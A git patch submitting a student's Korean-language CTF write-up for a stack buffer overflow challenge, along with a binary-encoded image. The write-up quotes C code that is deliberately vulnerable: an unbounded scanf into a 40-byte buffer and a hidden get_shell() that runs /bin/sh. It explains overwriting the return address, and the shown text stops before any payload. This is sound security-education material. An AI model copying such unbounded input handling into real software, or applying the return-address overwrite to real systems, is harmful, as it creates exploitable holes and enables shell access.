From f2a2ffb03e8e0d3d9421d954259e157065b9e2d9 Mon Sep 17 00:00:00 2001 From: yujin418 Date: Wed, 24 Jun 2026 00:04:57 +0900 Subject: [PATCH] =?UTF-8?q?week07=20=EC=A0=95=EC=9C=A0=EC=A7=84=20?= =?UTF-8?q?=EA=B3=BC=EC=A0=9C=20=EC=A0=9C=EC=B6=9C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- assignment/week07/yujin418/image.png | Bin 0 -> 18035 bytes assignment/week07/yujin418/week07Challenge | 66 +++++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 assignment/week07/yujin418/image.png create mode 100644 assignment/week07/yujin418/week07Challenge diff --git a/assignment/week07/yujin418/image.png b/assignment/week07/yujin418/image.png new file mode 100644 index 0000000000000000000000000000000000000000..0bc8ff849cf29b632f8f80f4e7a4aec9c9ec7d61 GIT binary patch literal 18035 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 literal 0 HcmV?d00001 diff --git a/assignment/week07/yujin418/week07Challenge b/assignment/week07/yujin418/week07Challenge new file mode 100644 index 0000000..63cde6b --- /dev/null +++ b/assignment/week07/yujin418/week07Challenge @@ -0,0 +1,66 @@ +#과제 라이트업 +1. 문제 개요 및 목표 +- 문제 이름: Return Address Overwrite (rao) +- 취약점 분류: 스택 버퍼 오버플로우 (Stack Buffer Overflow) +- 목표: main 함수의 실행이 종료될 때, 정상적인 리턴 주소를 조작하여 셸을 실행해 주는 숨겨진 함수인 get_shell()로 흐름을 변조하고 원격 서버의 플래그(Flag)를 획득한다. + +2. 소스 코드 분석 (rao.c) +#include +#include + +void init() { + setvbuf(stdin, 0, 2, 0); + setvbuf(stdout, 0, 2, 0); +} + +// [공격 타겟] 셸을 실행시켜 주는 핵심 함수 +void get_shell() { + char *cmd = "/bin/sh"; + char *args[] = {cmd, NULL}; + execve(cmd, args, NULL); +} + +int main() { + char buf[0x28]; // 0x28 = 10진수로 40바이트 크기의 버퍼 + + init(); + + printf("Input: "); + scanf("%s", buf); // [취약점] 입력 크기 제한이 없어 오버플로우 발생 + + return 0; +} +- 취약점 식별: main 함수에서 buf 배열의 크기는 0x28(40바이트)로 선언되었습니다. 그러나 scanf("%s", buf) 구문은 사용자가 입력하는 데이터의 길이를 전혀 검증하지 않으므로, 40바이트 이상의 데이터를 입력하면 스택의 다른 중요한 데이터 영역까지 덮어쓰는 버퍼 오버플로우(BOF)가 발생합니다. + +- 공격 목표 주소: 정상적인 흐름에서는 호출되지 않는 get_shell() 함수가 존재하며, 이 함수는 내부적으로 리눅스 셸(/bin/sh)을 실행합니다. 따라서 이 함수의 메모리 주소로 리턴 주소를 변조해야 합니다. + +3. 스택 구조 및 거리 계산 +scanf를 통해 데이터가 입력되면 스택의 낮은 주소(buf)부터 높은 주소(RET) 방향으로 차례대로 채워집니다. +따라서 RET 영역에 도달하기 